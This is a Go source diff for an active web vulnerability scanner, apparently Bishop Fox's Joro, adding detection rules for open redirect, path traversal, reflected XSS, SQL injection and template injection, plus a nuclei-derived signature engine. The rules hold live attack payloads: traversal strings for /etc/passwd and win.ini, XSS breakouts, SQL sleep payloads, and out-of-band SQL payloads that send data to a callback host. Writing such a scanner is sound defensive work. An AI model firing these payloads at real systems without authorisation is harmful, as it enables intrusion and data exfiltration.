canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
loc := res.Resp.Header.Get("Location")
if res.Status >= 300 && res.Status < 400 && strings.Contains(loc, canary) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (Location header)", "Location: "+loc, res.URL)
return
}
}
}
func bodyRedirect(pc injkit.ProbeCtx) {
canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
if strings.Contains(string(res.Resp.Body), canary) && bodyRedirectRe.Match(res.Resp.Body) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (body redirect)", "response body redirects to "+canary, res.URL)
return
}
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
@@ -0,0 +1,82 @@
// Package pathtraversal is the active path-traversal / LFI rule. Each check replaces
// the parameter with traversal payloads for one target file and confirms when the
// response returns that file's contents.
package pathtraversal
import (
"context"
"regexp"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "pathtraversal"
findingRule = "activescan.pathtraversal"
)
var (
rePasswd = regexp.MustCompile(`root:.*:0:0:`)
reWinIni = regexp.MustCompile(`(?i)\[(?:fonts|extensions|mci extensions)\]|for 16-bit app support`)
reWebXML = regexp.MustCompile(`(?i)<web-app[\s>]`)
)
func fileCheck(id, name, desc string, payloads []string, re *regexp.Regexp, evidence string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads, re, evidence) },
}
}
var checks = []injkit.Check{
fileCheck("unix-passwd", "Unix /etc/passwd",
"Traverses to /etc/passwd and matches the user-database format.",
[]string{"../../../../../../../../etc/passwd", "/etc/passwd", "....//....//....//....//etc/passwd"},
rePasswd, "response contains /etc/passwd contents (root:...:0:0:)"),
fileCheck("windows-winini", "Windows win.ini",
"Traverses to Windows win.ini and matches its section headers.",
[]string{"..\\..\\..\\..\\..\\windows\\win.ini", "C:\\windows\\win.ini"},
reWinIni, "response contains win.ini contents"),
fileCheck("java-webxml", "Java WEB-INF/web.xml",
"Reads WEB-INF/web.xml from a Java web app.",
[]string{"/WEB-INF/web.xml", "../../WEB-INF/web.xml"},
reWebXML, "response contains WEB-INF/web.xml contents"),
fileCheck("encoded", "Encoded traversal",
"URL-encoded traversal to /etc/passwd (filter-bypass variants).",
[]string{"..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "..%5c..%5c..%5c..%5cwindows%5cwin.ini"},
rePasswd, "response contains /etc/passwd contents via encoded traversal"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Path traversal / LFI" }
func (*Rule) Category() detect.Category { return detect.CategoryPathTraversal }
func (*Rule) Description() string {
return "Replaces each parameter with directory-traversal payloads (encoded and raw, Unix and " +
"Windows) and reports when the response returns the contents of a well-known file " +
"(/etc/passwd, win.ini, WEB-INF/web.xml) — confirmed path traversal / local file inclusion."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryPathTraversal, "Path traversal / LFI")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string, re *regexp.Regexp, evidence string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && re.Match(res.Resp.Body) {
pc.File(detect.SeverityHigh, "path traversal in "+pc.Point.Name+" via "+pl, evidence, res.URL)
return
}
}
}
@@ -0,0 +1,83 @@
// Package reflectedxss is the active reflected-XSS rule. Each check injects a unique
// canary with a particular breakout payload and reuses internal/echo's analyzer
// (enumeration, context classification, breakout rubric) on the (mutated request,
// response) pair; a reflection that breaks out of its context is a finding.
package reflectedxss
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
)
const (
ruleID = "reflectedxss"
findingRule = "activescan.reflectedxss"
)
func styleCheck(id, name, desc, suffix string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc,
Payloads: []string{"<canary>" + suffix},
Probe: func(pc injkit.ProbeCtx) { probe(pc, suffix) },
}
}
var checks = []injkit.Check{
styleCheck("html-text", "HTML text breakout", "Breaks out of HTML text/attribute with angle brackets and quotes.", `"'></`),
styleCheck("attribute", "Attribute event-handler", "Breaks out of an attribute into an event handler.", `" autofocus onfocus=jo `),
styleCheck("script", "Script string breakout", "Breaks out of a JavaScript string context.", `';jo//`),
styleCheck("template", "Template/backtick breakout", "Breaks out of a template-literal/backtick context.", "`+jo+`"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Reflected XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryReflectedXSS }
func (*Rule) Description() string {
return "Injects a unique canary with HTML/JS-breaking characters into each request " +
"parameter and reuses the Echo analyzer to decide whether it reflects into an " +
"exploitable, unescaped context (a breakout) — confirmed reflected cross-site scripting."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryReflectedXSS, "Reflected XSS")
return nil
}
func probe(pc injkit.ProbeCtx, suffix string) {
canary := "joro" + randHex(5)
res := pc.Inject(canary+suffix, false)
if res == nil {
return
}
cr := &proxy.CapturedRequest{ReqRaw: res.RawReq, RespRaw: res.RespRaw, Host: pc.Host, URL: res.URL, Method: res.Method}
report := echo.Analyze(cr, echo.DefaultConfig())
for _, refl := range report.Reflections {
if refl.Breakout && strings.Contains(refl.Value, canary) {
pc.File(detect.SeverityHigh, "parameter "+pc.Point.Name+" reflects unescaped into "+string(refl.Context),
"canary broke out of the "+string(refl.Context)+" context; surviving characters: "+refl.Survived, res.URL)
return
}
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+1 -1
View File
@@ -169,7 +169,7 @@ func Execute(ctx context.Context, run *Run, d Deps) {
}
if err := rule.Run(runCtx, Target{
Scheme: schemeOf(run.Origin), Host: run.Host, Origin: run.Origin, URLs: run.urls,
}, d.RuleDeps, rep); err != nil {
}, run.Config, d.RuleDeps, rep); err != nil {
run.addError(fmt.Sprintf("%s: %v", rule.Name(), err))
}
}
+154
View File
@@ -0,0 +1,154 @@
// Package sqli is the active SQL-injection rule. It exposes a catalog of named
// checks (error-based, boolean-based, time-based, out-of-band); each appends
// read-only payloads to a parameter and confirms via the shared DB-error matcher, a
// structural true/false differential, a timing delay, or a callback.
package sqli
import (
"context"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "sqli"
findingRule = "activescan.sqli"
sleepMs = 5000
oastWindow = 12 * time.Second
)
var errorSuffixes = []string{`'`, `"`, `')`, `'"`}
var booleanPairs = [][2]string{
{`' AND '1'='1`, `' AND '1'='2`},
{` AND 1=1`, ` AND 1=2`},
{`" AND "1"="1`, `" AND "1"="2`},
}
var timeSuffixes = []string{
`' AND SLEEP(5)-- -`,
` AND SLEEP(5)`,
`'||pg_sleep(5)--`,
`';WAITFOR DELAY '0:0:5'--`,
}
func oastSuffixes(host string) []string {
return []string{
`' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.` + host + `\\x')))-- -`,
`';EXEC master..xp_dirtree '\\` + host + `\x';--`,
`'||(SELECT UTL_INADDR.get_host_address('` + host + `') FROM dual)--`,
}
}
var checks = []injkit.Check{
{
ID: "error-based", Name: "Error-based", Severity: detect.SeverityHigh,
Description: "Appends quote/paren breakers and matches the response against database error signatures.",
Payloads: errorSuffixes,
Probe: errorBased,
},
{
ID: "boolean-based", Name: "Boolean-based", Severity: detect.SeverityHigh,
Description: "Sends a TRUE and a FALSE condition and reports when TRUE matches the baseline while FALSE differs.",
Payloads: []string{`' AND '1'='1`, `' AND '1'='2`, ` AND 1=1`, ` AND 1=2`},
Probe: booleanBased,
},
{
ID: "time-based", Name: "Time-based", Severity: detect.SeverityHigh,
Description: "Injects a database sleep and confirms a delayed response twice to reject jitter.",
Payloads: timeSuffixes,
Probe: timeBased,
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityHigh,
Description: "Injects DNS/SMB exfiltration payloads and polls the callback listener for an interaction.",
Payloads: []string{`LOAD_FILE(CONCAT('\\\\',…,'.<callback>\\x'))`, `xp_dirtree '\\<callback>\x'`, `UTL_INADDR.get_host_address('<callback>')`},
RequiresOAST: true,
Probe: oastBased,
},
}
// Rule implements activescan.Rule and activescan.Cataloger (via the embedded set).
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "SQL injection" }
func (*Rule) Category() detect.Category { return detect.CategorySQLi }
func (*Rule) Description() string {
return "Appends error-based, boolean-differential, time-based, and (when a callback " +
"listener is configured) out-of-band SQL payloads to each parameter, confirming via " +
"database error signatures, a true/false response differential, a timing delay, or a callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySQLi, "SQL injection")
return nil
}
func errorBased(pc injkit.ProbeCtx) {
for _, s := range errorSuffixes {
res := pc.Inject(s, true)
if res == nil {
continue
}
if engine, ev, ok := detect.MatchSQLError(res.Resp.Body); ok {
pc.File(detect.SeverityHigh, "error-based SQLi in "+pc.Point.Name+" ("+engine+")", engine+" error: "+ev, res.URL)
return
}
}
}
func booleanBased(pc injkit.ProbeCtx) {
for _, pair := range booleanPairs {
tr, fa := pc.Inject(pair[0], true), pc.Inject(pair[1], true)
if tr == nil || fa == nil {
continue
}
if injkit.SameStructure(tr.Fingerprint, pc.Base.Fingerprint) &&
!injkit.SameStructure(fa.Fingerprint, pc.Base.Fingerprint) {
pc.File(detect.SeverityHigh, "boolean-based SQLi in "+pc.Point.Name,
"TRUE ("+pair[0]+") matched the baseline; FALSE ("+pair[1]+") differed", tr.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx) {
for _, s := range timeSuffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityHigh, "time-based blind SQLi in "+pc.Point.Name,
"injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("sqli")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityHigh, "out-of-band SQLi in "+pc.Point.Name,
"an injected payload triggered a callback to "+host, pc.Base.URL)
}
}
+67
View File
@@ -0,0 +1,67 @@
// Package ssti is the active server-side template injection rule. Each check
// replaces the parameter with one engine family's arithmetic polyglot and confirms
// when the computed product appears in the response.
package ssti
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "ssti"
findingRule = "activescan.ssti"
product = "1649858" // 1337 * 1234, distinctive and unlikely to occur naturally
)
func syntaxCheck(id, name, desc string, payloads []string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityCritical, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads) },
}
}
var checks = []injkit.Check{
syntaxCheck("jinja-twig", "Jinja/Twig {{…}}", "Doubled-brace expression (Jinja2, Twig, Nunjucks).", []string{`{{1337*1234}}`}),
syntaxCheck("dollar-hash", "Freemarker/Velocity ${…}/#{…}", "Dollar/hash expression (Freemarker, Velocity, Thymeleaf).", []string{`${1337*1234}`, `#{1337*1234}`}),
syntaxCheck("erb-jsp", "ERB/JSP <%= … %>", "Scriptlet expression (ERB, JSP, ASP).", []string{`<%= 1337*1234 %>`}),
syntaxCheck("razor", "Razor @(…)", "Razor expression (.NET).", []string{`@(1337*1234)`}),
syntaxCheck("smarty-mako", "Smarty/Mako/other", "Single-brace and assignment forms (Smarty, Mako, Spring EL).", []string{`{1337*1234}`, `*{1337*1234}`, `#set($x=1337*1234)$x`}),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Server-side template injection" }
func (*Rule) Category() detect.Category { return detect.CategorySSTI }
func (*Rule) Description() string {
return "Injects arithmetic-expression polyglots across common template engines (Jinja, " +
"Twig, Freemarker, Velocity, ERB, Razor and others) into each parameter; if the " +
"computed product appears in the response, the engine evaluated the expression."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySSTI, "Server-side template injection")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && strings.Contains(string(res.Resp.Body), product) {
pc.File(detect.SeverityCritical, "SSTI in "+pc.Point.Name,
"payload "+pl+" produced "+product+" in the response", res.URL)
return
}
}
}
+19
View File
@@ -0,0 +1,19 @@
# Attribution — signatures.json
`signatures.json` is a normalized, curated derivative of the
[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project
by ProjectDiscovery, used under the MIT License.
- Source: `github.com/projectdiscovery/nuclei-templates`
- License: MIT (permits modification and redistribution with this notice)
- Generated at design time by `tools/nucleigen` from commit
`58670555f97912d95733b509e08061785f66e5e5` (subtrees `http/exposures`,
`http/misconfiguration`, `http/exposed-panels`).
Each entry records the originating template id (`nucleiId`) and its path within
the checkout (`source`). Only templates whose whole logic fits Joro's supported
HTTP matcher subset were converted; the rest were dropped (see the converter's
skip census). The dataset is regenerated, never hand-edited.
The MIT license text accompanies the ProjectDiscovery repository; this derivative
is distributed under the same terms.
@@ -0,0 +1,58 @@
package templatesig
import (
_ "embed"
"encoding/json"
"regexp"
)
// signaturesJSON is the normalized, curated check set produced at design time by
// tools/nucleigen from a reviewed nuclei-templates checkout. It is embedded data,
// not a Go dependency; the server never parses a nuclei YAML template.
//
//go:embed signatures.json
var signaturesJSON []byte
// load parses and compiles the embedded dataset once, on the Rule instance (not a
// package global, per the no-globals rule). A signature whose regex will not
// compile under RE2 is dropped whole rather than run half-blind.
func (r *Rule) load() ([]Signature, error) {
r.once.Do(func() {
var sigs []Signature
if err := json.Unmarshal(signaturesJSON, &sigs); err != nil {
r.err = err
return
}
out := make([]Signature, 0, len(sigs))
for i := range sigs {
if compileSignature(&sigs[i]) {
out = append(out, sigs[i])
}
}
r.sigs = out
})
return r.sigs, r.err
}
// compileSignature compiles every regex matcher in a signature. It returns false
// if any regex is rejected by RE2, so the caller can drop the whole check.
func compileSignature(sig *Signature) bool {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for mi := range req.Matchers {
m := &req.Matchers[mi]
if m.Type != "regex" {
continue
}
m.compiled = m.compiled[:0]
for _, expr := range m.Regexes {
re, err := regexp.Compile(expr)
if err != nil {
return false
}
m.compiled = append(m.compiled, re)
}
}
}
return true
}
+135
View File
@@ -0,0 +1,135 @@
package templatesig
import (
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
)
// selectSignatures narrows the dataset to what should run against one host: the
// scan's tag/severity filters, then fingerprint gating.
//
// Gating runs a signature when it is tech-agnostic (no RequiresTech) or when one
// of its required technologies is present on the host, version permitting. With
// IgnoreFingerprint set, or no fingerprint store wired, gating is skipped and
// every tag/severity-passing signature runs. When the host has a fingerprint but
// nothing was detected, only tech-agnostic signatures run.
func selectSignatures(sigs []Signature, cfg activescan.Config, deps activescan.RuleDeps, host string, disabled *activescan.DisabledSet) []Signature {
tagFilter := lowerSet(cfg.Tags)
sevFilter := lowerSet(cfg.Severity)
gate := !cfg.IgnoreFingerprint && deps.Tech != nil
var detected map[string]string // lower tech name -> version ("" if unknown)
if gate {
detected = map[string]string{}
if ht, ok := deps.Tech.Host(host); ok {
for _, t := range ht.Technologies {
detected[strings.ToLower(t.Name)] = t.Version
}
}
}
out := make([]Signature, 0, len(sigs))
for _, sig := range sigs {
if !disabled.IsItemEnabled(sig.ID) {
continue
}
if len(tagFilter) > 0 && !anyIn(sig.Tags, tagFilter) {
continue
}
if len(sevFilter) > 0 && !sevFilter[strings.ToLower(sig.Severity)] {
continue
}
if gate && !eligible(sig, detected) {
continue
}
out = append(out, sig)
}
return out
}
// eligible reports whether a signature's technology preconditions are met.
func eligible(sig Signature, detected map[string]string) bool {
if len(sig.RequiresTech) == 0 {
return true
}
for _, req := range sig.RequiresTech {
ver, ok := detected[strings.ToLower(req.Name)]
if ok && versionOK(ver, req) {
return true
}
}
return false
}
// versionOK applies a version constraint, failing open on an unknown version: a
// detected-but-unversioned technology always satisfies the bound, because
// skipping a possibly-vulnerable host is worse than an occasional wasted probe.
func versionOK(detected string, req TechReq) bool {
if detected == "" {
return true
}
if req.MinVersion != "" && compareVersion(detected, req.MinVersion) < 0 {
return false
}
if req.MaxVersion != "" && compareVersion(detected, req.MaxVersion) >= 0 {
return false
}
return true
}
// compareVersion compares dotted numeric versions, returning -1, 0 or 1. A
// non-numeric segment compares as 0, which is lenient by design.
func compareVersion(a, b string) int {
as := strings.Split(a, ".")
bs := strings.Split(b, ".")
for i := 0; i < len(as) || i < len(bs); i++ {
var x, y int
if i < len(as) {
x, _ = strconv.Atoi(numeric(as[i]))
}
if i < len(bs) {
y, _ = strconv.Atoi(numeric(bs[i]))
}
if x != y {
if x < y {
return -1
}
return 1
}
}
return 0
}
// numeric keeps the leading digit run of a version segment ("4rc1" -> "4").
func numeric(s string) string {
for i := 0; i < len(s); i++ {
if s[i] < '0' || s[i] > '9' {
return s[:i]
}
}
return s
}
func lowerSet(in []string) map[string]bool {
if len(in) == 0 {
return nil
}
out := make(map[string]bool, len(in))
for _, s := range in {
if s = strings.ToLower(strings.TrimSpace(s)); s != "" {
out[s] = true
}
}
return out
}
func anyIn(vals []string, set map[string]bool) bool {
for _, v := range vals {
if set[strings.ToLower(v)] {
return true
}
}
return false
}
+217
View File
@@ -0,0 +1,217 @@
package templatesig
import (
"fmt"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/httptools"
)
// replacer substitutes the URL template tokens nuclei expands inside matcher
// words at match time. BaseURL is the target origin; Host is its host[:port].
type replacer struct {
baseURL string
host string
}
func (r replacer) apply(s string) string {
if !strings.Contains(s, "{{") {
return s
}
s = strings.ReplaceAll(s, "{{BaseURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{RootURL}}", r.baseURL)
s = strings.ReplaceAll(s, "{{Hostname}}", r.host)
s = strings.ReplaceAll(s, "{{Host}}", r.host)
return s
}
// evalMatchers evaluates a request's matcher set against a response and returns
// whether it matched, with a short evidence string naming what matched.
func evalMatchers(req *Request, resp httptools.Response, rp replacer) (bool, string) {
if len(req.Matchers) == 0 {
return false, ""
}
and := strings.EqualFold(req.MatchersCondition, "and")
var evidence []string
allOK := true
anyOK := false
for i := range req.Matchers {
ok, ev := evalMatcher(&req.Matchers[i], resp, rp)
if ok {
anyOK = true
if ev != "" {
evidence = append(evidence, ev)
}
} else {
allOK = false
}
}
matched := anyOK
if and {
matched = allOK
}
if !matched {
return false, ""
}
return true, strings.Join(evidence, "; ")
}
// evalMatcher evaluates one matcher. Negative inverts the result; a negative
// match reports no evidence (there is nothing to show).
func evalMatcher(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
ok, ev := matcherHit(m, resp, rp)
if m.Negative {
return !ok, ""
}
return ok, ev
}
func matcherHit(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
switch m.Type {
case "status":
for _, s := range m.Status {
if resp.Status == s {
return true, "status " + strconv.Itoa(s)
}
}
return false, ""
case "size":
n := len(resp.Body)
for _, s := range m.Sizes {
if n == s {
return true, "size " + strconv.Itoa(n)
}
}
return false, ""
case "word":
return matchWords(m, part(m.Part, resp), rp)
case "regex":
return matchRegexes(m, part(m.Part, resp))
default:
return false, ""
}
}
// matchWords applies the word list with the matcher's and/or condition. Words are
// matched case-insensitively, matching nuclei's default.
func matchWords(m *Matcher, hay string, rp replacer) (bool, string) {
if len(m.Words) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
lower := strings.ToLower(hay)
anyOK, allOK := false, true
var first string
for _, w := range m.Words {
w = rp.apply(w)
if strings.Contains(lower, strings.ToLower(w)) {
anyOK = true
if first == "" {
first = w
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(first)
}
return false, ""
}
// matchRegexes applies the compiled regex list with the matcher's and/or
// condition. The evidence is the first concrete match, truncated.
func matchRegexes(m *Matcher, hay string) (bool, string) {
if len(m.compiled) == 0 {
return false, ""
}
and := strings.EqualFold(m.Condition, "and")
anyOK, allOK := false, true
var first string
for _, re := range m.compiled {
if loc := re.FindString(hay); loc != "" || re.MatchString(hay) {
anyOK = true
if first == "" {
first = loc
}
} else {
allOK = false
}
}
if (and && allOK) || (!and && anyOK) {
return true, "matched " + strconv.Quote(truncate(first, 80))
}
return false, ""
}
// part selects the response region a matcher reads. Default is the body.
func part(name string, resp httptools.Response) string {
switch strings.ToLower(name) {
case "header", "headers":
return headerString(resp)
case "all", "response", "raw":
return headerString(resp) + "\r\n\r\n" + string(resp.Body)
default:
return string(resp.Body)
}
}
func headerString(resp httptools.Response) string {
var b strings.Builder
fmt.Fprintf(&b, "HTTP %d\r\n", resp.Status)
for k, vs := range resp.Header {
for _, v := range vs {
b.WriteString(k)
b.WriteString(": ")
b.WriteString(v)
b.WriteString("\r\n")
}
}
return b.String()
}
func truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "…"
}
// spreader distributes a rule's share of the run's URL-based total across its own
// internal steps, so the scan's completed/total stays coherent when the rule's
// real unit of work (signatures) differs from the planned unit (URLs).
type spreader struct {
rep activescan.Reporter
budget int
steps int
done int
emitted int
}
func newSpreader(rep activescan.Reporter, budget, steps int) *spreader {
return &spreader{rep: rep, budget: budget, steps: steps}
}
func (p *spreader) step() {
p.done++
want := p.budget
if p.steps > 0 {
want = p.budget * p.done / p.steps
}
if want > p.budget {
want = p.budget
}
if want > p.emitted {
p.rep.Progress(want - p.emitted)
p.emitted = want
}
}
func (p *spreader) finish() {
if p.budget > p.emitted {
p.rep.Progress(p.budget - p.emitted)
p.emitted = p.budget
}
}
+90
View File
@@ -0,0 +1,90 @@
package templatesig
import (
"fmt"
"net/url"
"strings"
"github.com/BishopFox/joro/internal/httptools"
)
// defaultUA is sent unless a signature overrides User-Agent. A plain browser
// string keeps a probe from standing out from ordinary traffic.
const defaultUA = "Mozilla/5.0 (compatible; Joro)"
// renderRequest builds raw HTTP/1.1 bytes for one probe against origin. The path
// is {{BaseURL}}-relative; a stray {{BaseURL}} prefix or an absolute URL is
// reduced to its path. Content-Length is computed from the body in hand; the
// request never carries Transfer-Encoding.
func renderRequest(origin string, req *Request, path string) ([]byte, error) {
host, err := hostOf(origin)
if err != nil {
return nil, err
}
target := normalizePath(path)
if strings.ContainsAny(target, "\r\n") {
return nil, fmt.Errorf("illegal path")
}
method := strings.ToUpper(strings.TrimSpace(req.Method))
if method == "" {
method = "GET"
}
var b strings.Builder
fmt.Fprintf(&b, "%s %s HTTP/1.1\r\n", method, target)
fmt.Fprintf(&b, "Host: %s\r\n", host)
sentUA, sentAccept := false, false
for k, v := range req.Headers {
if strings.ContainsAny(k, "\r\n:") || strings.ContainsAny(v, "\r\n") {
continue
}
switch strings.ToLower(k) {
case "user-agent":
sentUA = true
case "accept":
sentAccept = true
case "host", "content-length":
continue // Host is set above; Content-Length is computed below
}
fmt.Fprintf(&b, "%s: %s\r\n", k, v)
}
if !sentUA {
fmt.Fprintf(&b, "User-Agent: %s\r\n", defaultUA)
}
if !sentAccept {
b.WriteString("Accept: */*\r\n")
}
b.WriteString("Connection: close\r\n")
b.WriteString("\r\n")
b.WriteString(req.Body)
return httptools.UpdateContentLength([]byte(b.String())), nil
}
// hostOf returns the host[:port] of an origin.
func hostOf(origin string) (string, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return "", fmt.Errorf("bad origin %q", origin)
}
return u.Host, nil
}
// normalizePath reduces a signature path to an origin-form request target.
func normalizePath(p string) string {
p = strings.TrimSpace(p)
p = strings.ReplaceAll(p, "{{BaseURL}}", "")
p = strings.ReplaceAll(p, "{{Hostname}}", "")
if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
p = originPath(p)
}
if p == "" {
return "/"
}
if !strings.HasPrefix(p, "/") {
p = "/" + p
}
return p
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,338 @@
// Package templatesig is the active-scan signature rule: it sends crafted HTTP
// requests and files a finding when the response matches a check. The checks are
// an embedded, normalized dataset mined at design time from nuclei-templates (see
// tools/nucleigen) — the server never parses a nuclei YAML template, only this
// vetted schema.
//
// # Fingerprint-gated
//
// Before sending, the rule reads the passive technology fingerprint of the host
// (internal/techfp) and runs only the signatures whose RequiresTech matches the
// detected stack, plus the tech-agnostic ones. A WordPress host is probed for
// WordPress and PHP checks, not for Jira or Drupal ones. Gating is version-aware
// but fail-open: a version constraint narrows only when the version is known.
//
// # Fail-closed at the source, not here
//
// The matcher vocabulary is deliberately small (status, word, regex, size, with
// and/or and negation). That is not a runtime limitation to work around: the
// converter emits a signature only when a template's whole logic fits this
// vocabulary, and drops the rest. So a signature that reaches this package is one
// Joro can evaluate faithfully — there is no partial evaluation that could report
// a vulnerable target as safe.
package templatesig
import (
"context"
"fmt"
"net/url"
"regexp"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
const (
ruleID = "templatesig"
findingRule = "activescan.templatesig"
perRequestTimeout = 15 * time.Second
// maxRespBytes is the response body a match needs; the send default is sized
// only to fingerprint, which is too little for a body word/regex matcher.
maxRespBytes = 1 << 20
)
// TechReq is a technology precondition on a signature. An empty Name list on a
// signature means tech-agnostic (always eligible). MinVersion is inclusive,
// MaxVersion exclusive; either may be empty.
type TechReq struct {
Name string `json:"name"`
MinVersion string `json:"minVersion,omitempty"`
MaxVersion string `json:"maxVersion,omitempty"`
}
// Matcher is one condition evaluated against a response.
type Matcher struct {
Type string `json:"type"` // status | word | regex | size
Part string `json:"part,omitempty"` // body | header | all (default body)
Status []int `json:"status,omitempty"`
Words []string `json:"words,omitempty"`
Regexes []string `json:"regexes,omitempty"`
Sizes []int `json:"sizes,omitempty"`
Condition string `json:"condition,omitempty"` // and | or across words/regexes (default or)
Negative bool `json:"negative,omitempty"`
compiled []*regexp.Regexp // filled by compile()
}
// Request is one probe: a method and one or more paths sharing a matcher set.
type Request struct {
Method string `json:"method"`
Paths []string `json:"paths"` // {{BaseURL}}-relative, e.g. "/.git/config"
Headers map[string]string `json:"headers,omitempty"`
Body string `json:"body,omitempty"`
Matchers []Matcher `json:"matchers"`
MatchersCondition string `json:"matchersCondition,omitempty"` // and | or (default or)
StopAtFirstMatch bool `json:"stopAtFirstMatch,omitempty"`
}
// Signature is one normalized check mined from a nuclei template.
type Signature struct {
ID string `json:"id"`
NucleiID string `json:"nucleiId,omitempty"`
Name string `json:"name"`
Severity string `json:"severity"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Reference []string `json:"reference,omitempty"`
Tags []string `json:"tags,omitempty"`
Source string `json:"source,omitempty"`
RequiresTech []TechReq `json:"requiresTech,omitempty"`
Requests []Request `json:"requests"`
}
// Rule implements activescan.Rule and activescan.Cataloger over the embedded
// signature set. The per-signature enable/disable half of Cataloger comes from the
// embedded *activescan.DisabledSet (per-project session state set by
// applyProjectConfig and read by buildProjectConfig).
type Rule struct {
once sync.Once
sigs []Signature
err error
*activescan.DisabledSet
}
// New returns the template-signature rule. The embedded dataset is parsed and its
// regexes compiled lazily on first Run, off the server boot path.
func New() *Rule { return &Rule{DisabledSet: activescan.NewDisabledSet()} }
